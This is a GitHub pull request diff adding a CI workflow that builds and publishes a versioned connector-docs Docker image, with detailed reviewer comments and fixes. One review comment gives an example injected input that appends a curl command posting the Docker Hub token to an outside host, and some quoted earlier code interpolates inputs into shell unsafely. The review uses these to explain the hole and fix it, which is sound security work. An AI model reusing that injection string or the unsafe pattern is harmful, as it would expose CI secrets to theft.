Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
328 changes: 328 additions & 0 deletions .github/workflows/connector-docsbase.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,328 @@
# Generates versioned connector docs + config schemas and publishes the
# datahub-ingestion-docsbase image. For each acryl-datahub release it checks out
# the tag, runs docGen (which produces config_schemas/), and captures the raw
# docs/sources — then assembles one image keyed by version: /<version>/{docs,schemas}.
#
# :latest is a sliding window, not a per-run snapshot: assemble-and-publish pulls
# forward whatever :latest already has, merges in this run's freshly generated
# versions (which win over stale copies), then prunes anything outside the
# `days` retention window. This is what makes a single-version workflow_call
# from publish-pypi-release.yml safe — it extends the corpus instead of
# replacing it with just that one version.
#
# JDK/Python versions mirror documentation.yml. Steady state is workflow_dispatch
# (manual/backfill) plus workflow_call from publish-pypi-release.yml (auto-refresh
# on each final release).
name: connector-docsbase

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No concurrency group on a workflow that writes a mutable :latest tag.

This repo has published three four-part releases in one day (v1.6.0.12/13/14 around 2026-07-09). Two release: published events start two runs whose generate legs take very different times — each does a full docGen including a fresh uv pip install .[docs] — and both Push steps write …docsbase:latest. Last to finish wins, so :latest can end up serving 1.6.0.12 while 1.6.0.14 is already on PyPI, with no error anywhere.

cancel-in-progress: false rather than true, since each run is a real corpus build you don't want to lose:

Suggested change
name: connector-docsbase
name: connector-docsbase
concurrency:
# Runs all write the mutable :latest tag — serialize them.
group: connector-docsbase
cancel-in-progress: false

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added a concurrency group (cancel-in-progress: false) exactly as suggested.


concurrency:
# Every run writes the mutable :latest tag — serialize so the last one to
# finish is also the last one started, not just the fastest.
group: connector-docsbase
cancel-in-progress: false
Comment on lines +18 to +22

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

cancel-in-progress: false alone doesn't serialize — it drops runs. (Refining my own round-1 suggestion, which was incomplete.)

GitHub's docs: "only one run can be pending in a concurrency group—any additional pending runs cancel the previous one." So with A in progress and B pending, C arriving cancels B. Because each auto-refresh only generates its own version and pulls the rest forward, B's release is then permanently absent until someone backfills by hand. This repo has shipped three four-part releases in a day, and a generate leg is slow, so the window is wide.

There's now a queue key for exactly this:

Suggested change
concurrency:
# Every run writes the mutable :latest tag — serialize so the last one to
# finish is also the last one started, not just the fastest.
group: connector-docsbase
cancel-in-progress: false
concurrency:
# Every run writes the mutable :latest tag — serialize so the last one to
# finish is also the last one started, not just the fastest.
# queue: max is required for true serialization — with the default (single)
# only ONE run may be pending, and a third arrival cancels the queued one,
# permanently dropping that release from the corpus.
group: connector-docsbase
cancel-in-progress: false
queue: max


on:
workflow_dispatch:
inputs:
days:
description: "N-day window of final releases: what to generate (ignored if 'versions' set) and, always, what to retain in the published image — anything older is pruned"
default: "90"
versions:
description: 'Explicit JSON array of versions, e.g. ["1.6.0.10"] (overrides days)'
default: ""
dry_run:
description: "Build the image but do NOT push"
type: boolean
default: true
image_tag:
description: "Extra alias tag (optional). Primary tag is the <floor>-<ceiling> range; :latest is always pushed."
default: ""
# Called from publish-pypi-release.yml right after a final release
# lands on PyPI, so the image refreshes with that connector version instead
# of waiting for someone to remember to click workflow_dispatch.
workflow_call:
inputs:
days:
description: "N-day window of final releases: what to generate (ignored if 'versions' set) and, always, what to retain in the published image — anything older is pruned"
type: string
default: "90"
versions:
description: 'Explicit JSON array of versions, e.g. ["1.6.0.10"] (overrides days)'
type: string
default: ""
dry_run:
description: "Build the image but do NOT push"
type: boolean
default: true
image_tag:
description: "Extra alias tag (optional). Primary tag is the <floor>-<ceiling> range; :latest is always pushed."
type: string
default: ""
secrets:
DOCSBASE_DH_TOKEN:
required: false

permissions:
contents: read

env:
# A version directory/tag looks like X.Y.Z or X.Y.Z.W, all numeric (no
# rc/post/dev). Mirrored in list_versions.py's _FINAL_RELEASE and
# publish-pypi-release.yml's is_final_release check — keep all three in
# sync if this changes.
DOCSBASE_VERSION_RE: '^[0-9]+(\.[0-9]+){2,3}$'

jobs:
versions:
runs-on: ubuntu-latest
outputs:
matrix: ${{ steps.pick.outputs.matrix }}
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- id: pick
env:
VERSIONS: ${{ inputs.versions }}
DAYS: ${{ inputs.days }}
run: |
set -euo pipefail
if [ -n "$VERSIONS" ]; then
M="$VERSIONS"
else
M="$(python3 metadata-ingestion/scripts/docsbase/list_versions.py --days "$DAYS")"
fi
echo "matrix=$M" >> "$GITHUB_OUTPUT"
echo "Selected versions: $M"
Comment on lines +86 to +94

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

inputs.* interpolated straight into shell — injectable, in a job that holds the push token.

${{ }} substitutes into the script source before bash parses it, so input text becomes shell syntax. A workflow_dispatch with days set to 90; curl -X POST -d "$DOCSBASE_DH_TOKEN" https://… expands on L70 into a second command, in a workflow that secrets: inherit supplies the Docker Hub token to. Less dramatically, a single quote or newline in versions breaks the M='...' assignment on L68 and the $GITHUB_OUTPUT write on L72, giving an opaque fromJson failure downstream.

Passing through the environment means the value can never be re-parsed as code:

Suggested change
run: |
set -euo pipefail
if [ -n "${{ inputs.versions }}" ]; then
M='${{ inputs.versions }}'
else
M="$(python3 metadata-ingestion/scripts/docsbase/list_versions.py --days ${{ inputs.days }})"
fi
echo "matrix=$M" >> "$GITHUB_OUTPUT"
echo "Selected versions: $M"
env:
VERSIONS: ${{ inputs.versions }}
DAYS: ${{ inputs.days }}
run: |
set -euo pipefail
if [ -n "$VERSIONS" ]; then
M="$VERSIONS"
else
M="$(python3 metadata-ingestion/scripts/docsbase/list_versions.py --days "$DAYS")"
fi
echo "matrix=$M" >> "$GITHUB_OUTPUT"
echo "Selected versions: $M"

inputs.image_tag at L170-171 needs the same treatment.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed — days/versions/image_tag are now passed via env: instead of interpolated into the script body. Applied the same treatment to matrix.version, which flows from the same versions input and had the same exposure.


generate:
needs: versions
strategy:
fail-fast: false
max-parallel: 6
matrix:
version: ${{ fromJson(needs.versions.outputs.matrix) }}
runs-on: ubuntu-latest
steps:
- name: Checkout the release tag
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
ref: v${{ matrix.version }}

- uses: actions/setup-java@be666c2fcd27ec809703dec50e508c2fdc7f6654 # v5
with:
distribution: "zulu"
java-version: "21"
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: "3.10"

# Connector extras build C-extensions (gssapi->krb5, python-ldap->sasl/ldap);
# the bare runner lacks these headers. Mirrors install_deps.sh used by docs CI.
- name: Install system build deps for connector extras
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends \
libkrb5-dev libsasl2-dev libldap2-dev
Comment on lines +118 to +124

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This doesn't actually mirror install_deps.sh.

The script installs python3-ldap, ldap-utils and unixodbc-dev on top of these three. unixodbc-dev is pyodbc's build dependency, reachable through [docs]base_dev_requirements. I diffed the script at master and at v1.6.0 (the oldest tag in the current corpus) — byte-identical, and it ships in every tag you check out, so calling it stays correct per-version instead of drifting from a hand-copied list. documentation.yml, which the header says this mirrors, just calls it.

Suggested change
# Connector extras build C-extensions (gssapi->krb5, python-ldap->sasl/ldap);
# the bare runner lacks these headers. Mirrors install_deps.sh used by docs CI.
- name: Install system build deps for connector extras
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends \
libkrb5-dev libsasl2-dev libldap2-dev
# Connector extras build C-extensions (gssapi->krb5, python-ldap->sasl/ldap);
# the bare runner lacks these headers. install_deps.sh ships in every tag we
# check out, so it tracks that version's needs instead of drifting from a
# hand-maintained copy here.
- name: Install system build deps for connector extras
run: ./metadata-ingestion/scripts/install_deps.sh


# docGen installs the connector extras for this tag and emits
# docs/generated/ingestion/config_schemas/<plugin>_config.json
- name: Run docGen (produces config schemas)
run: ./gradlew --no-daemon :metadata-ingestion:docGen

- name: Assemble this version's corpus
env:
V: ${{ matrix.version }}
run: |
set -euo pipefail
mkdir -p "out/$V/schemas" "out/$V/docs"
shopt -s nullglob
schemas=(docs/generated/ingestion/config_schemas/*_config.json)
if [ ${#schemas[@]} -eq 0 ]; then
echo "::error::no config_schemas produced for $V"
exit 1
fi
Comment on lines +139 to +142

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

-eq 0 is far too weak — docGen exits 0 with a partial schema set.

docgen.py wraps per-plugin schema generation in except Exception as e: logger.warning(...) and returns the plugin anyway, so the caller's loaded += 1 branch runs, plugin_metrics.failed is never incremented, and the failed > 0 → sys.exit(1) guard never fires. A connector whose extra failed to install just vanishes with a warning buried in Gradle output.

To calibrate how weak the guard is, I extracted the live image — schemas per version run 100 (1.6.0) → 111 (1.7.0.4), monotonically. A systemic failure yielding 40 sails straight through and overwrites :latest, and the manifest still records that version as fully covered.

Suggested change
if [ ${#schemas[@]} -eq 0 ]; then
echo "::error::no config_schemas produced for $V"
exit 1
fi
# docGen exits 0 even when plugins fail: docgen.py swallows per-plugin
# errors into logger.warning and still counts them as loaded, so a
# systemic problem (missing header, dep rot on an old tag) yields a
# handful of schemas rather than none. Live corpus runs 100 -> 111, so
# this floor only trips on a real collapse.
if [ ${#schemas[@]} -lt "${DOCSBASE_MIN_SCHEMAS:-80}" ]; then
echo "::error::only ${#schemas[@]} config_schemas produced for $V (expected >= ${DOCSBASE_MIN_SCHEMAS:-80})"
echo "::error::check the docGen log for 'Failed to load additional metadata for'"
exit 1
fi

Comparing against the previous version's count would be even better, since the series is monotonic. Narrowing that except Exception in docgen.py is the real fix, but it's outside this diff.

cp "${schemas[@]}" "out/$V/schemas/"
cp -R metadata-ingestion/docs/sources/. "out/$V/docs/"
echo "schemas: $(find "out/$V/schemas" -mindepth 1 -maxdepth 1 | wc -l) | docs dirs: $(find "out/$V/docs" -mindepth 1 -maxdepth 1 | wc -l)"
Comment on lines +144 to +145

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor asymmetry: zero schemas is now fatal (good), but zero docs isn't. cp -R src/. succeeds on an empty-but-present source dir, the count is printed and never checked, and if-no-files-found: error is satisfied by the schemas alone — so a docs-less version can enter the corpus.

Suggested change
cp -R metadata-ingestion/docs/sources/. "out/$V/docs/"
echo "schemas: $(find "out/$V/schemas" -mindepth 1 -maxdepth 1 | wc -l) | docs dirs: $(find "out/$V/docs" -mindepth 1 -maxdepth 1 | wc -l)"
cp -R metadata-ingestion/docs/sources/. "out/$V/docs/"
docs_n="$(find "out/$V/docs" -mindepth 1 -maxdepth 1 | wc -l)"
[ "$docs_n" -gt 0 ] || { echo "::error::no docs/sources captured for $V"; exit 1; }
echo "schemas: ${#schemas[@]} | docs dirs: $docs_n"


- uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0
with:
name: docsbase-${{ matrix.version }}
path: out/
if-no-files-found: error
retention-days: 3

assemble-and-publish:
needs: generate
if: ${{ success() }} # a failed leg means a hole in the range — don't publish a partial corpus
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2

- uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
with:
pattern: docsbase-*
path: corpus
merge-multiple: true
Comment on lines +161 to +165

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This answers your round-1 question about v8 behaviour — and the answer is "not the same".

download-artifact has asymmetric failure semantics across its input modes. I checked the pinned source (3e5f45b, v8.0.1):

  • name:throw new Error("Artifact '<name>' not found")
  • artifact-ids:throw new Error("None of the provided artifact IDs were found")
  • pattern: → no throw. It filters the run's artifact list, logs Filtered from X to Y artifacts, and the download block is guarded by if (artifacts.length). It then reports Total of 0 artifact(s) downloaded and exits 0.

This PR uses pattern:. Combined with the || true on L181, zero artifacts becomes a green run that pulls :latest forward, prunes, rebuilds and pushes — byte-identical content, fresh generated_at, and a step summary announcing a successful publish for a release whose docs were never added. It's the most convincing green-but-wrong path in the workflow, because it emits positive evidence of success.

No change needed here; the fix is on L181.


# :latest is a sliding window: pull it forward so this run extends the
# corpus instead of replacing it (critical for a single-version
# workflow_call — without this, an auto-refresh would publish :latest
# containing only the one new release). This run's freshly generated
# versions always win over whatever :latest already had. Then prune to
# the `days` retention window (unioned with this run's own versions, so
# an explicit one-off backfill of an old version isn't immediately
# pruned in the same run that generated it) so the image doesn't grow
# without bound.
- name: Accumulate onto :latest, then prune to the retention window
env:
DAYS: ${{ inputs.days }}
run: |
set -euo pipefail
this_run="$(find corpus -mindepth 1 -maxdepth 1 -type d -printf '%f\n' | grep -E "$DOCSBASE_VERSION_RE" | sort -u || true)"
echo "this run generated: $(echo "$this_run" | tr '\n' ' ')"
Comment on lines +181 to +182

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

|| true here discards the one signal that the artifacts are empty.

set -euo pipefail + pipefail correctly propagate grep's exit 1 on no match — and || true throws it away. this_run goes empty, L182 prints this run generated: and the run continues to publish (see the L161 comment for how it gets there). Nothing ever asserts that the versions in inputs.versions actually landed in corpus/.

this_run being empty is never a valid state — generate producing nothing is always a bug.

Suggested change
this_run="$(find corpus -mindepth 1 -maxdepth 1 -type d -printf '%f\n' | grep -E "$DOCSBASE_VERSION_RE" | sort -u || true)"
echo "this run generated: $(echo "$this_run" | tr '\n' ' ')"
# No `|| true`: grep exiting 1 means download-artifact produced nothing
# (its `pattern:` input does NOT fail on zero matches), which is never a
# valid state to publish from.
this_run="$(find corpus -mindepth 1 -maxdepth 1 -type d -printf '%f\n' | grep -E "$DOCSBASE_VERSION_RE" | sort -u)"
echo "this run generated: $(echo "$this_run" | tr '\n' ' ')"

Stronger still, since it catches a partial download too: add VERSIONS: ${{ inputs.versions }} to this step's env: and assert each requested version is present —

for v in $(jq -r '.[]?' <<< "${VERSIONS:-[]}"); do
  [ -d "corpus/$v" ] || { echo "::error::requested version $v missing from artifacts"; exit 1; }
done


REPO_REF=acryldata/datahub-ingestion-docsbase:latest
mkdir -p previous
if docker pull "$REPO_REF" >pull.log 2>&1; then
# FROM scratch has no CMD/ENTRYPOINT, so create needs an explicit
# (never-executed — we only cp out of it) command to accept.
cid="$(docker create "$REPO_REF" noop)"
docker cp "$cid:/." previous/ >/dev/null
docker rm "$cid" >/dev/null
pulled="$(find previous -mindepth 1 -maxdepth 1 -type d -printf '%f\n' | grep -E "$DOCSBASE_VERSION_RE" | sort -u || true)"
echo "pulled forward from $REPO_REF: $(echo "$pulled" | tr '\n' ' ')"
Comment on lines +192 to +193

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same || true in the other direction: a pull that succeeded but yielded no version trees is a contradiction — a layout change, or :latest pointing at something unexpected — yet it prints an empty list indistinguishable from the fresh-corpus case and proceeds to publish a one-version corpus.

Suggested change
pulled="$(find previous -mindepth 1 -maxdepth 1 -type d -printf '%f\n' | grep -E "$DOCSBASE_VERSION_RE" | sort -u || true)"
echo "pulled forward from $REPO_REF: $(echo "$pulled" | tr '\n' ' ')"
pulled="$(find previous -mindepth 1 -maxdepth 1 -type d -printf '%f\n' | grep -E "$DOCSBASE_VERSION_RE" | sort -u || true)"
if [ -z "$pulled" ]; then
echo "::error::pulled $REPO_REF successfully but found no <version>/ trees in it —"
echo "::error::the layout has changed, or :latest points at something unexpected."
find previous -maxdepth 2 | head -50
exit 1
fi
echo "pulled forward from $REPO_REF: $(echo "$pulled" | tr '\n' ' ')"

while IFS= read -r v; do
[ -n "$v" ] || continue
if [ -d "corpus/$v" ]; then
continue # this run regenerated it — keep the fresh copy
fi
cp -R "previous/$v" "corpus/$v"
done <<< "$pulled"
elif grep -qiE 'manifest unknown|repository does not exist|not found' pull.log; then
echo "no existing $REPO_REF yet — starting a fresh corpus"
Comment on lines +201 to +202

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Blocker: an auth failure is classified as "no image yet", which wipes the corpus.

The pull on L186 runs before the login step on L299, so it's always anonymous. Docker Hub deliberately returns the same message for missing and unauthorized repos (so private repos don't leak their existence). I reproduced it:

Error response from daemon: pull access denied for acryldata/<repo>,
repository does not exist or may require 'docker login'

That matches repository does not exist, so previous/ stays empty, :latest is rebuilt from only this run's versions — exactly one on the automated path — and pushed. The corpus is gone, the run is green, and the log says the reassuring no existing … yet — starting a fresh corpus. This is the single failure the accumulate design exists to prevent.

Latent today (I confirmed anonymous manifest pulls return 200, so the repo is public), but it fires permanently the moment visibility changes or a token is scoped differently.

Two changes. Move the Log in to Docker Hub step (L299) above this step — pulling is read-only, so it shouldn't be gated on dry_run — which also removes the anonymous rate-limit flake (toomanyrequests isn't matched here either, so it currently hard-fails a publish that's already done all its expensive work). Then narrow the classifier:

Suggested change
elif grep -qiE 'manifest unknown|repository does not exist|not found' pull.log; then
echo "no existing $REPO_REF yet — starting a fresh corpus"
# Only "manifest unknown" unambiguously means "no such tag". Docker Hub
# reports an unauthenticated or denied pull as "repository does not exist
# or may require 'docker login'", so matching that text would classify an
# auth failure as a fresh start and republish :latest with just this run's
# versions. Requires the docker login step to run BEFORE this one.
elif grep -qiE 'manifest unknown|manifest for .* not found' pull.log; then
echo "::warning::no existing $REPO_REF — starting a FRESH corpus (expected only on the very first publish)"

A first-ever publish is a once-per-repo event; it deserves a ::warning:: rather than an echo.

else
echo "::error::could not pull $REPO_REF to accumulate onto (not a missing-image error)"
cat pull.log
exit 1
fi

window="$(python3 metadata-ingestion/scripts/docsbase/list_versions.py --days "$DAYS")"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

An empty window here silently deletes every accumulated version.

keep is window ∪ this_run, and L218-226 rm -rfs everything else before republishing :latest. If window comes back empty, keep collapses to just this run's version and the whole corpus is pruned — emitting a tidy series of ::notice::pruning … outside the 90-day retention window lines that look exactly like normal retention.

Reachable via a small days on a manual dispatch, or PyPI dropping the long-deprecated releases key that list_versions.py already defensively .get()s to {}. Note this is strictly worse than a network error, which would propagate under set -e — it's the well-formed but empty response that destroys data.

Suggested change
window="$(python3 metadata-ingestion/scripts/docsbase/list_versions.py --days "$DAYS")"
window="$(python3 metadata-ingestion/scripts/docsbase/list_versions.py --days "$DAYS")"
# An empty window collapses `keep` to just this run's versions and prunes
# every accumulated release out of :latest. Refuse rather than shrink.
jq -e 'type == "array" and length > 0' <<< "$window" >/dev/null \
|| { echo "::error::empty retention window from list_versions.py — refusing to prune"; exit 1; }

if [ -n "$this_run" ]; then
this_run_json="$(echo "$this_run" | jq -R . | jq -cs .)"
else
this_run_json="[]"
fi
keep="$(jq -cn --argjson w "$window" --argjson m "$this_run_json" '($w + $m) | unique')"
echo "retaining (${DAYS}d window + this run): $keep"

for d in corpus/*/; do
[ -d "$d" ] || continue
v="$(basename "$d")"
echo "$v" | grep -qE "$DOCSBASE_VERSION_RE" || continue
if ! jq -e --arg v "$v" 'index($v) != null' <<< "$keep" >/dev/null; then
echo "::notice::pruning $v — outside the ${DAYS}-day retention window"
rm -rf "$d"
fi
done

- name: Layout check
run: |
set -euo pipefail
echo "versions present:"
find corpus -mindepth 1 -maxdepth 1 -type d -printf '%f\n' | sort -V || true
find corpus -maxdepth 2 -type d | head -50

# The corpus is a sliding window of releases; its true identity is the
# [floor, ceiling] range it covers, computed from whatever the previous
# step (accumulate + prune) left in corpus/ — record it in an in-image
# manifest + OCI labels so consumers can inspect coverage cheaply and
# pin by digest.
- name: Compute coverage + write manifest
id: coverage
env:
IMAGE_TAG: ${{ inputs.image_tag }}
run: |
set -euo pipefail
REPO=acryldata/datahub-ingestion-docsbase
versions="$(find corpus -mindepth 1 -maxdepth 1 -type d -printf '%f\n' | grep -E "$DOCSBASE_VERSION_RE" | sort -V || true)"
[ -n "$versions" ] || { echo "::error::no version trees in corpus"; exit 1; }
floor="$(echo "$versions" | head -1)"
ceiling="$(echo "$versions" | tail -1)"
versions_json="$(echo "$versions" | jq -R . | jq -cs .)"
versions_count="$(echo "$versions" | wc -l | tr -d ' ')"
generated_at="$(date -u +%FT%TZ)"
cat > corpus/CORPUS_MANIFEST.json <<EOF
{"floor":"$floor","ceiling":"$ceiling","versions_count":$versions_count,"versions":$versions_json,"source_sha":"$GITHUB_SHA","generated_at":"$generated_at"}
EOF
# Tags: range = true identity (primary), latest = moving pointer.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Small accuracy point: the range tag isn't an identity. Nothing makes <floor>-<ceiling> unique — a re-run, or a backfill of a middle version, reproduces the same floor/ceiling with different content and silently overwrites it. Live tags already show the scheme in use (1.5.0.7-1.6.0.13, 1.6.0-1.7.0.4), and :1.6.0-1.7.0.4 currently resolves to the same digest as :latest.

The "pin the digest" guidance in the step summary is the right mitigation, so this is just the comment overselling it:

Suggested change
# Tags: range = true identity (primary), latest = moving pointer.
# Tags: range is the primary pointer, latest is the moving one. Note the
# range tag is NOT content-addressed — a re-run, or a backfill of a middle
# version, reproduces the same floor-ceiling with different content and
# overwrites it. The digest emitted after push is the only real identity.

Related: nothing verifies the set is gap-free, so a corpus of {1.6.0.9, 1.7.0.3} still publishes as :1.6.0.9-1.7.0.3, which reads as "every release in that interval". CORPUS_MANIFEST.json carries the honest list, but the OCI labels expose only floor/ceiling/count. A contiguous=true|false label would let a consumer tell a range from a range-with-holes.

# An explicit image_tag, if given, is published as an extra alias.
tags="$REPO:$floor-$ceiling
$REPO:latest"
[ -n "$IMAGE_TAG" ] && tags="$tags
$REPO:$IMAGE_TAG"
{
echo "repo=$REPO"
echo "floor=$floor"
echo "ceiling=$ceiling"
echo "range=$floor-$ceiling"
echo "versions_count=$versions_count"
echo "generated_at=$generated_at"
echo "tags<<TAGS"; echo "$tags"; echo "TAGS"
} >> "$GITHUB_OUTPUT"
echo "Coverage $floor .. $ceiling ($(echo "$versions" | wc -l | tr -d ' ') versions)"

- name: Build image
run: |
set -euo pipefail
printf 'FROM scratch\nCOPY corpus/ /\n' > Dockerfile.docsbase
tag_args=()
while IFS= read -r t; do [ -n "$t" ] && tag_args+=(-t "$t"); done <<< "${{ steps.coverage.outputs.tags }}"
docker build -f Dockerfile.docsbase \
--label "org.acryl.docsbase.floor=${{ steps.coverage.outputs.floor }}" \
--label "org.acryl.docsbase.ceiling=${{ steps.coverage.outputs.ceiling }}" \
--label "org.acryl.docsbase.versions_count=${{ steps.coverage.outputs.versions_count }}" \
--label "org.acryl.docsbase.source_sha=$GITHUB_SHA" \
--label "org.acryl.docsbase.generated_at=${{ steps.coverage.outputs.generated_at }}" \
"${tag_args[@]}" .
Comment on lines +274 to +286

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Two things in this step.

1. inputs.image_tag reaches shell source via ${{ }}. It's unvalidated free text, flows into steps.coverage.outputs.tags (L261-262), and is expanded inside the herestring below. A value containing " terminates it and the rest parses as shell — in a job holding the Docker Hub push token. You already fixed exactly this class in round 1 for days/versions/image_tag; these four sites (L279, plus L310/L313/L328 in Push/Dry-run notice) were missed because the value now arrives via a step output rather than an input.

2. The build context is the whole monorepo. docker build … . tars the entire checkout — plus previous/, a full duplicate of corpus/ — to produce a FROM scratch image that only needs corpus/. It also silently inherits the repo-root .dockerignore, which is maintained for the product images: none of its current patterns match under corpus/, but a future **/docs/-style entry would gut this image with a clean, green build. Worth moving Dockerfile.docsbase into a dedicated dir next to corpus/ and building that as the context.

The env: fix for (1):

Suggested change
- name: Build image
run: |
set -euo pipefail
printf 'FROM scratch\nCOPY corpus/ /\n' > Dockerfile.docsbase
tag_args=()
while IFS= read -r t; do [ -n "$t" ] && tag_args+=(-t "$t"); done <<< "${{ steps.coverage.outputs.tags }}"
docker build -f Dockerfile.docsbase \
--label "org.acryl.docsbase.floor=${{ steps.coverage.outputs.floor }}" \
--label "org.acryl.docsbase.ceiling=${{ steps.coverage.outputs.ceiling }}" \
--label "org.acryl.docsbase.versions_count=${{ steps.coverage.outputs.versions_count }}" \
--label "org.acryl.docsbase.source_sha=$GITHUB_SHA" \
--label "org.acryl.docsbase.generated_at=${{ steps.coverage.outputs.generated_at }}" \
"${tag_args[@]}" .
- name: Build image
env:
TAGS: ${{ steps.coverage.outputs.tags }}
FLOOR: ${{ steps.coverage.outputs.floor }}
CEILING: ${{ steps.coverage.outputs.ceiling }}
VERSIONS_COUNT: ${{ steps.coverage.outputs.versions_count }}
GENERATED_AT: ${{ steps.coverage.outputs.generated_at }}
run: |
set -euo pipefail
printf 'FROM scratch\nCOPY corpus/ /\n' > Dockerfile.docsbase
tag_args=()
while IFS= read -r t; do [ -n "$t" ] && tag_args+=(-t "$t"); done <<< "$TAGS"
docker build -f Dockerfile.docsbase \
--label "org.acryl.docsbase.floor=$FLOOR" \
--label "org.acryl.docsbase.ceiling=$CEILING" \
--label "org.acryl.docsbase.versions_count=$VERSIONS_COUNT" \
--label "org.acryl.docsbase.source_sha=$GITHUB_SHA" \
--label "org.acryl.docsbase.generated_at=$GENERATED_AT" \
"${tag_args[@]}" .


# Note: this step's condition can't reference github.event_name — in a
# called (workflow_call) workflow, that context is the CALLER's event
# (e.g. 'release'), never 'workflow_call', so an event_name check here
# is always false on the automated path. inputs.dry_run already carries
# the intent regardless of trigger type.
- name: Check whether docker login is possible
id: docker-login
env:
ENABLE_DOCKER_LOGIN: ${{ secrets.DOCSBASE_DH_TOKEN != '' }}
run: echo "docker-login=$ENABLE_DOCKER_LOGIN" >> "$GITHUB_OUTPUT"
Comment on lines +293 to +297

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Blocker: with dry_run: false and no secret, this job goes green having published nothing.

The three terminal steps are mutually exclusive and non-exhaustive. When docker-login is 'false': login skips, push skips, and Dry-run notice also skips because dry_run is false. $GITHUB_STEP_SUMMARY is only written inside Push, so it stays empty. The last executed step is Build image, which succeeds — job conclusion: success.

The operator sees a green Refresh connector docsbase image on a workflow whose headline job already passed, and has to notice two grey "skipped" icons to spot it. This can persist across every release indefinitely, with the image simply never moving. Your test plan still lists configuring DOCSBASE_DH_TOKEN as unchecked, so this is the first-release path.

The round-1 guard I suggested was right as a login guard; it just needs to not be silent when publishing was actually requested:

Suggested change
- name: Check whether docker login is possible
id: docker-login
env:
ENABLE_DOCKER_LOGIN: ${{ secrets.DOCSBASE_DH_TOKEN != '' }}
run: echo "docker-login=$ENABLE_DOCKER_LOGIN" >> "$GITHUB_OUTPUT"
- name: Check whether docker login is possible
id: docker-login
env:
ENABLE_DOCKER_LOGIN: ${{ secrets.DOCSBASE_DH_TOKEN != '' }}
DRY_RUN: ${{ inputs.dry_run }}
run: |
set -euo pipefail
if [ "$DRY_RUN" != "true" ] && [ "$ENABLE_DOCKER_LOGIN" != "true" ]; then
echo "::error::dry_run=false but DOCSBASE_DH_TOKEN is unset/empty — refusing to"
echo "::error::build and discard silently. Configure the secret, or pass dry_run=true."
exit 1
fi
echo "docker-login=$ENABLE_DOCKER_LOGIN" >> "$GITHUB_OUTPUT"

Worth flipping the workflow_call secret declaration (L61-63) to required: true at the same time — required: false tells GitHub explicitly not to complain.

Separately: workflow_call's dry_run defaults to true. The current caller passes false correctly, but for a reusable workflow whose entire purpose is publishing, a future caller that omits it gets a silent build-and-discard. The workflow_dispatch default of true is right and should stay.


- name: Log in to Docker Hub
if: ${{ inputs.dry_run == false && steps.docker-login.outputs.docker-login == 'true' }}
uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4.0.0
with:
username: acryldata
password: ${{ secrets.DOCSBASE_DH_TOKEN }}

- name: Push
if: ${{ inputs.dry_run == false && steps.docker-login.outputs.docker-login == 'true' }}
run: |
set -euo pipefail
while IFS= read -r t; do [ -n "$t" ] && docker push "$t"; done <<< "${{ steps.coverage.outputs.tags }}"
# Emit the immutable digest — this is what a consumer pins (resolve->record->bake).
digest="$(docker inspect --format '{{index .RepoDigests 0}}' "${{ steps.coverage.outputs.repo }}:${{ steps.coverage.outputs.range }}")"
echo "pushed:"; echo "${{ steps.coverage.outputs.tags }}" | sed 's/^/ - /'
echo "digest: $digest"
{
echo "### docsbase published"
echo ""
echo "- range: \`${{ steps.coverage.outputs.range }}\`"
echo "- digest: \`$digest\`"
echo ""
echo "Pin the digest in the consumer (\`release-lock.yml\` → \`DOCSBASE_DIGEST\`)."

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

release-lock.yml and DOCSBASE_DIGEST don't exist anywhere in this repo — I grepped the whole tree at this ref. If the consumer lives in another repo, worth naming it here so the operator reading this summary knows where to go.

} >> "$GITHUB_STEP_SUMMARY"

- name: Dry-run notice
if: ${{ inputs.dry_run == true }}
run: |
echo "DRY RUN — built but did not push:"
echo "${{ steps.coverage.outputs.tags }}" | sed 's/^/ - /'
